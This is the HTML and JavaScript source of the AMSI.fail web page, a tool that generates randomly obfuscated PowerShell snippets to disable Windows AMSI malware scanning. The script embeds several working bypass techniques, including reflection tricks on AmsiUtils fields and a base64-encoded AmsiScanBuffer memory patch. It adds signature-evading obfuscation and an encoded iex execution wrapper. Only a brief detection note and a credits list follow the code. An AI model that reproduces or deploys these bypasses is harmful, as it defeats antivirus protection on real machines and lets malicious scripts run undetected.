<html><head><meta charset="utf-8">
	<title>AMSI.fail</title>
	<link href="css/frame.css" media="screen" rel="stylesheet" type="text/css">
	<link href="css/controls.css" media="screen" rel="stylesheet" type="text/css">
	<link href="css/custom.css" media="screen" rel="stylesheet" type="text/css">
	<link href="https://fonts.googleapis.com/css?family=Open+Sans:400,700" rel="stylesheet" type="text/css">
	<link href="https://fonts.googleapis.com/css?family=Open+Sans+Condensed:300,700" rel="stylesheet" type="text/css">
	<link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:400,700" rel="stylesheet"><script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script><script src="js/menu.js"></script>
	<style type="text/css">.menu-index {
      color: rgb(255, 255, 255) !important;
      opacity: 1 !important;
      font-weight: 700 !important;
    }
	</style>
	<script>
  

/**
 * Test can i update this?
 * Grabs a string, converts it from unicode into a base64 string
 * Reference: https://stackoverflow.com/a/30106551
 * @param {String} UTF-8 string
 * @returns {string} base64-encoded unicode version of string
 */
function toBinary(string) {
  const codeUnits = new Uint16Array(string.length);
  for (let i = 0; i < codeUnits.length; i++) {
    codeUnits[i] = string.charCodeAt(i);
  }
  return btoa(String.fromCharCode(...new Uint8Array(codeUnits.buffer)));
}

/**
 * Returns a random integer between 0 and max exclusive
 * @param {Integer} max value exclusive
 * @returns {Integer} random integer
 */
function randomInt(max) {
  return Math.floor(Math.random() * max);
}

/**
 * Randomly upper- or lowercases the input
 * @param {String} input
 * @returns {String} output the randomly cased input
 */
function randomCase(input){
    // randomize casing
    return input.split('').map((c) => Math.round(Math.random()) ? c.toUpperCase() : c.toLowerCase()).join('')
}

/**
 * Returns the ascii value of a char (A => 41)
 * @param {String} char
 * @returns {Integer} returns the ascii value of the input char
 */
function charEncode(char){
    let asciiValue = char.charCodeAt(0)

    return obfuscateInt(asciiValue)
}

/**
 * Encodes a char as a obfucscated "byte" (A => ([byte]0x41))
 * @param {String} char
 * @returns {Integer} returns the obfuscated value as a "byte"
 */
function byteEncode(char){
    const asciiValue = char.charCodeAt(0)

    return `([${randomCase("byte")}]0x${asciiValue.toString(16)})`
}

/**
 * Obfuscate an integer in 4 different ways (eg 41 => (21+20))
 * @param {Integer} int
 * @returns {Integer} returns the obfuscated integer
 */
function obfuscateInt(int){
    const subNumber = randomInt(int-2) + 1 // Avoid divide by zero

    switch (randomInt(4)) {
        case 0:
            return `(${subNumber}+${int - subNumber})`
        case 1:
            return `(${int}+${subNumber}-${subNumber})`
        case 2:
            return `(${int}*${subNumber}/${subNumber})`
        case 3:
            return `(${int})`
    }
    return int
}


/*
* From: https://stackoverflow.com/questions/7033639/split-large-string-in-n-size-chunks-in-javascript
* Splits a string into N sized chunks
* @param {String} str, {Int} size 
* @returns {Array} Chunks of string you split into N (size)
*/
function chunkSubstr(str, size) {
  const numChunks = Math.ceil(str.length / size)
  const chunks = new Array(numChunks)

  for (let i = 0, o = 0; i < numChunks; ++i, o += size) {
    chunks[i] = str.substr(o, size)
  }

  return chunks
}



/**
 * Obfuscate a char in 2 different ways (eg "A" => "+[CHAR]41")
 * @param {String} char
 * @returns {String} returns the obfuscated char
 */
function obfuscateChar(char){
    const startChar = "+"
    switch (randomInt(2)) {
        case 0:
            return startChar + "[" + randomCase("CHAR") + "]" + byteEncode(char)
    
        case 1:
            return startChar + "[" + randomCase("CHAR") + "]" + charEncode(char)
    }
}

/**
 * Maps each input char into its diacritic counterpart
 * @param {String} string
 * @returns {String} the obfuscated string
 */
function diacriticEncode(input){
    let encodedString= [...input].map(c => getRandomDiacritic(c.charCodeAt(0))).join('')
    let stringSize= randomInt(encodedString.length-2)
    let encodedArray= chunkSubstr(encodedString,stringSize+1)
    return encodedArray.join('\'+\'')
}

/**
 * Takes an ascii value and tries to find a diacritic for it. If not it returns the char
 * @param {Integer} ascii value of char
 * @returns {String} a diacritic for the char, or just the char
 */
function getRandomDiacritic(asciiValue){
    let min = 0
    let max = 0
    switch (asciiValue){
        case 65:   //A
            min = 192
            max = 197
            return String.fromCharCode(min + randomInt(max - min))
        case 97:  //a
            min = 224
            max = 229
            return String.fromCharCode(min + randomInt(max - min))
        case 73:  //I
            min = 204
            max = 207
            return String.fromCharCode(min + randomInt(max - min))
        case 105:  //i
            min = 236
            max = 239
            return String.fromCharCode(min + randomInt(max - min))
        case 79:  //O
            min = 210
            max = 216
            return String.fromCharCode(min + randomInt(max - min))
        case 69: //E
            min = 200
            max = 203
            return String.fromCharCode(min + randomInt(max - min))
        case 101: //e
            min = 232
            max = 235
            return String.fromCharCode(min + randomInt(max - min))
        case 85:  //U
            min = 217
            max = 220
            return String.fromCharCode(min + randomInt(max - min))
        case 117: //u
            min = 249
            max = 252
            return String.fromCharCode(min + randomInt(max - min))
        case 111: //o
            min = 243
            max = 246
            return String.fromCharCode(min + randomInt(max - min))
        default:
            return String.fromCharCode(asciiValue)
    }
}

/**
 * Takes an input string and returns a obfuscated string using obfuscateChar or Diacritics
 * @param {String} input
 * @returns {String} a obfuscated string using obfuscateChar or Diacritics
 */
 function obfuscateString(input){
    switch (randomInt(2)) {
        case 0:
            return [...input].map(c => obfuscateChar(c)).join('')
        case 1:
            // FormD obfuscate, we use substring(1) to remove the first +
            let obfuscatedFormD = [..."FormD"].map(c => obfuscateChar(c)).join('').substring(1)
            // pattern obfuscate, we use substring(1) to remove the first +    
            let obfuscatedPattern = [...String.raw`\p{Mn}`].map(c => obfuscateChar(c)).join('').substring(1)

            return `+('${diacriticEncode(input)}').${randomCase("Normalize")}(${obfuscatedFormD}) -replace ${obfuscatedPattern}`
    }
}

/**
 * Obfuscates all strings inside single quotes and contains a list of "mustEncode" values that always will be encoded.
 * @param {String} input
 * @returns {String} a obfuscated version of the input
 */
 function encodePayload(input) {
    // Find all strings inside single quotes
    const re = /\'(.*?)\'/g;

    // Obfuscate all strings inside single quotes, except for specific cases
    input = input.replace(re, (match, p1) => {
        if (p1.startsWith("System.") || p1.includes(".System.")) {
            return match; // Keep the original string
        }
        let obf = obfuscateString(p1).substring(1);
        return `$(${obf})`;
    });

    const mustEncode = [
        "amsiContext",
        "amsiSession",
        "AmsiUtils",
        "amsiInitFailed",
        "WriteInt32",
        "Management",
        "Automation",
    ];

    // Special handling for "System"
    input = input.replace(/\bSystem\b(?!\.(?:Text\.Encoding|Convert|Reflection|Runtime|Management))/g, (match) => {
        let obf = obfuscateString(match).substring(1);
        return `$(${obf})`;
    });

    for (const word of mustEncode) {
        let obf = obfuscateString(word).substring(1);
        if (word === "amsiInitFailed") {
            obf = `'+$(${obf})+'`;
        } else {
            obf = `$(${obf})`;
        }
        input = input.replace(new RegExp(`\\b${word}\\b`, 'g'), obf);
    }

    
    // Add random junk and sleep
    const junk1 = getRandomJunk();
    const junk2 = getRandomJunk();
    input = input.replace(/;(?!$)/, `;$${junk1}="${obfuscateString(junk2)}";[Threading.Thread]::Sleep(${randomInt(2000)});`);

    // Replace $null with a random variable
    const nullValue = randomCase(randomString(randomInt(10)));
    input = input.replace(/\$null\b/g, `$${nullValue}`);

    // Add final junk and sleep
    const junk3 = getRandomJunk();
    const junk4 = getRandomJunk();
    input += `;$${junk3}="${obfuscateString(junk4)}";[Threading.Thread]::Sleep(${randomInt(2000)})`;

    // Remove double semicolons
    input = input.replace(/;;/g, ';');

    // Add null assignment after newlines
    input = input.replace(/\n/g, `\n$${nullValue}=$null;`);

   // input = input.replace(/\$null\b/g, () => getRandomNullAlternative());

    return input;
}

function getRandomNullAlternative() {
    const alternatives = [
        "[System.DBNull]::Value",
        "[NullString]::Value",
        "[System.Management.Automation.Internal.AutomationNull]::Value",
        "[Void]",
        "$()",
        "@()",
        "''",
        "[String]::Empty",
        "$PSItem"
    ];
    return alternatives[Math.floor(Math.random() * alternatives.length)];
}

/**
 * creates a random junk 
 * @param {Integer} length
 * @returns {String} random string of a given length
 */
 function getRandomJunk(){
    let length = randomInt(30) 
    const alphabet = "abcdefghijklmnopqrstuvwxyz"
    let ret = ""
    for(var i=0; i < length; i++){
        ret += alphabet[Math.floor(Math.random() * alphabet.length)]
    }
    return ret
}


/**
 * Creates a random string suitable for PowerShell variable names
 * @param {Integer} length
 * @returns {String} random string of a given length
 */
 function randomString() {
    const minLength = 3;
    const maxLength = 20;
    const length = Math.floor(Math.random() * (maxLength - minLength + 1)) + minLength;

    const chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789";

    let ret = chars[Math.floor(Math.random() * 53)]; // First 53 characters (excluding numbers)
    
    for (let i = 1; i < length; i++) {
        ret += chars[Math.floor(Math.random() * chars.length)];
    }
    return ret;
}

/**
 * A special function for encoding the RastaMouse AMSI-bypass.
 * @param {String} RastaMouse AMSI-bypass
 * @returns {String} a obfuscated version of the input
 */
function encodeRasta(input){
    const mustEncode = [
        "AmsiScanBuffer",
        "amsi.dll"
    ]

    const varsToEncode = [
        "Win32",
        "LibLoad",
        "lpAddress",
        "flNewProtect",
        "lpflOldProtect",
        "hModule",
        "procName",
        "MemAdr",
        "Patch",
        "var1",
        "var2",
        "var3",
        "var4",
        "var5",
        "var6",
        "dwSize"
    ]

    for (let word of varsToEncode){
        let newword = randomString(word.length)
        input = input.replaceAll(word, newword)
    }

    for (let word of mustEncode){
        let obf = obfuscateString(word)
        obf = `$(${obf.substring(1)})`
        input = input.replaceAll(word, obf)
    }

    return input
}

/**
 * Randomly select a payload and encode it
 * @returns {String} a obfuscated random AMSI bypass
 */
 function getPayload(){
    let memvar = randomString(3 + randomInt(7));
    const ForceErrer = `#Unknown - Force error \n$${memvar}=[System.Runtime.InteropServices.Marshal]::AllocHGlobal(${obfuscateInt(9076)});[Ref].Assembly.GetType(\"System.Management.Automation.AmsiUtils\").GetField(\"amsiSession\", \"NonPublic,Static\").SetValue($null, $null);[Ref].Assembly.GetType(\"System.Management.Automation.AmsiUtils\").GetField(\"amsiContext\", \"NonPublic,Static\").SetValue($null, [IntPtr]$${memvar});`
    const MattGRefl = `#Matt Graebers Reflection method \n$${memvar}=\"System.Management.Automation.AmsiUtils\";[Ref].Assembly.GetType($${memvar}).GetField('amsiInitFailed',\"NonPublic,Static\").SetValue($null,$true);`;
    const MattGReflLog = `#Matt Graebers Reflection method with WMF5 autologging bypass \n$${memvar}=\"System.Management.Automation.AmsiUtils\";[Delegate]::CreateDelegate((\"Func\`\`3[String, $(([String].Assembly.GetType('System.Reflection.BindingFlags')).FullName), System.Reflection.FieldInfo]\" -as [String].Assembly.GetType('System.Type')), [Object]([Ref].Assembly.GetType($${memvar})),('GetField')).Invoke('amsiInitFailed',((\"NonPublic,Static\") -as [String].Assembly.GetType('System.Reflection.BindingFlags'))).SetValue($null,$True);`;
    const MattGref02 = `#Matt Graebers second Reflection method \n$${memvar}=\"System.Management.Automation.AmsiUtils\";[Runtime.InteropServices.Marshal]::(\"WriteInt32\")([Ref].Assembly.GetType($${memvar}).GetField(\"amsiContext\",[Reflection.BindingFlags]\"NonPublic,Static\").GetValue($null),0x${randomInt(2147483647).toString(16)});`
    const RastaBuf = atob("I1Jhc3RhLW1vdXNlcyBBbXNpLVNjYW4tQnVmZmVyIHBhdGNoIFxuDQokV2luMzIgPSBAIg0KdXNpbmcgU3lzdGVtOw0KdXNpbmcgU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzOw0KcHVibGljIGNsYXNzIFdpbjMyIHsNCiAgICBbRGxsSW1wb3J0KCJrZXJuZWwzMiIpXQ0KICAgIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBHZXRQcm9jQWRkcmVzcyhJbnRQdHIgaE1vZHVsZSwgc3RyaW5nIHByb2NOYW1lKTsNCiAgICBbRGxsSW1wb3J0KCJrZXJuZWwzMiIpXQ0KICAgIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBMb2FkTGlicmFyeShzdHJpbmcgbmFtZSk7DQogICAgW0RsbEltcG9ydCgia2VybmVsMzIiKV0NCiAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBib29sIFZpcnR1YWxQcm90ZWN0KEludFB0ciBscEFkZHJlc3MsIFVJbnRQdHIgZHdTaXplLCB1aW50IGZsTmV3UHJvdGVjdCwgb3V0IHVpbnQgbHBmbE9sZFByb3RlY3QpOw0KfQ0KIkANCg0KQWRkLVR5cGUgJFdpbjMyDQoNCiRMaWJMb2FkID0gW1dpbjMyXTo6TG9hZExpYnJhcnkoImFtc2kuZGxsIikNCiRNZW1BZHIgPSBbV2luMzJdOjpHZXRQcm9jQWRkcmVzcygkTGliTG9hZCwgIkFtc2lTY2FuQnVmZmVyIikNCiRwID0gMA0KW1dpbjMyXTo6VmlydHVhbFByb3RlY3QoJE1lbUFkciwgW3VpbnQzMl01LCAweDQwLCBbcmVmXSRwKQ0KJHZhcjEgPSAiMHhCOCINCiR2YXIyID0gIjB4NTciDQokdmFyMyA9ICIweDAwIg0KJHZhcjQgPSAiMHgwNyINCiR2YXI1ID0gIjB4ODAiDQokdmFyNiA9ICIweEMzIg0KJFBhdGNoID0gW0J5dGVbXV0gKCR2YXIxLCR2YXIyLCR2YXIzLCR2YXI0LCskdmFyNSwrJHZhcjYpDQpbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpDb3B5KCRQYXRjaCwgMCwgJE1lbUFkciwgNik=");

    switch (randomInt(5)) {
        case 0:
            return encodePayload(ForceErrer)
        case 1:
            return encodePayload(MattGRefl)
        case 2:
            return encodePayload(MattGReflLog)
        case 3:
            return encodePayload(MattGref02)
        case 4:
            return encodeRasta(RastaBuf)
    }
}


function GeneratePS(){
   
   document.getElementById("PowerShellOut").value =  getPayload();            
}

function GenerateEncPS(){
   document.getElementById("PowerShellOut").value =  `${randomCase("[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(")}"${toBinary(getPayload())}"))|iex`           
}


</script>
</head>
<body data-gr-c-s-loaded="true" data-new-gr-c-s-loaded="8.872.0" data-new-gr-c-s-check-loaded="8.873.0" data-gr-ext-installed="">
<div class="menu-container">
<div class="menu">
<div class="menu-table flex-row-space-between">
<div class="logo flex-row-center"><a href="index.html">AMSI.fail</a><a class="menu-index" style="font-size: 80%; position: absolute; bottom: 0;"></a></div>
<a class="menu-button" href="javascript:void(0)" tabindex="0"><img src="img/menu.png"> </a>

<div class="menu-items flex-row-center flex-item"><a class="menu-index" href="index.html">AMSI</a> <a href="https://github.com/Flangvik/AMSI.fail">GitHub</a></div>
</div>
</div>
</div>

<div class="content-container">
<div class="content">
<div class="content-table flex-column"><!--------------------------------------------------------------------------------------------><!--------------------------------------------------------------------------------------------><!--Start Text Only-->
<div class="flex-row">
<div class="flex-item flex-column" data-children-count="1">
<h2 class="add-top-margin">What is AMSI.fail?</h2>

<hr>
<p class="text">AMSI.fail generates obfuscated PowerShell snippets that break or disable AMSI for the current process. The snippets are randomly selected from a small pool of techniques/variations before being obfuscated. Every snippet is obfuscated at runtime/request so that no generated output share the same signatures.<br data-children-count="0">
&nbsp;</p>
<textarea cols="50" id="PowerShellOut" rows="10"></textarea><br>
<button class="custom-button custom-button-primary" onclick="GeneratePS()">Generate</button>
<p> </p>
<button class="custom-button custom-button-primary" onclick="GenerateEncPS()">Generate Encoded</button>
<h2 class="add-top-margin">What is AMSI?</h2>

<hr>
<p class="text">As f-secure explained in one of their excellent <a href="https://blog.f-secure.com/hunting-for-amsi-bypasses/">blog-posts</a>:<br>
<br>
AMSI is an interface on which applications or services (third-party included) are able to scan a script’s content for malicious usage. If a signature in the script is registered by the AMSI antimalware service provider (Windows Defender by default), it will be blocked.<br>
To put this into context, consider the following steps PowerShell takes to integrate with AMSI:</p>

<ul>
	<li>When a PowerShell process is created, AMSI.DLL is loaded from disk into its address space.</li>
	<li>Within AMSI.DLL, there’s a function known as AmsiScanBuffer(), essentially the function used to scan a script’s content.</li>
	<li>In the PowerShell command prompt, any supplied content would first be sent to AmsiScanBuffer(), before any execution takes place.</li>
	<li>Subsequently, AmsiScanBuffer() would check with the registered anti-virus to determine if any signatures have been created.</li>
	<li>If the content is deemed malicious, it would be blocked.</li>
</ul>

<p class="text">Since AMSI relies on being loaded within the process executing the actual script, techniques to break or patch specific functions within amsi.dll are well known.</p>

<h2 class="add-top-margin">Detection</h2>

<hr>
<p class="text">All the demonstrated techniques rely on tampering with the amsi.dll library within the operating process, generic tamper-detection is key.</p>

<h2 class="add-top-margin">Credits</h2>

<hr>
<ul>
	<li>Major credit to <a href="https://github.com/MartinIngesen">MartinIngesen</a> for porting the original C# code into JS! :) </li>
	<li><a href="https://github.com/yenchiah/project-website-template">https://github.com/yenchiah/project-website-template</a></li>
	<li><a href="https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell">https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell</a></li>
	<li><a href="https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/">https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/</a></li>
	<li><a href="https://twitter.com/mattifestation/status/735261120487772160">https://twitter.com/mattifestation/status/735261120487772160</a></li>
</ul>
</div>
</div>
</div>
</div>
</div>

</body></html>
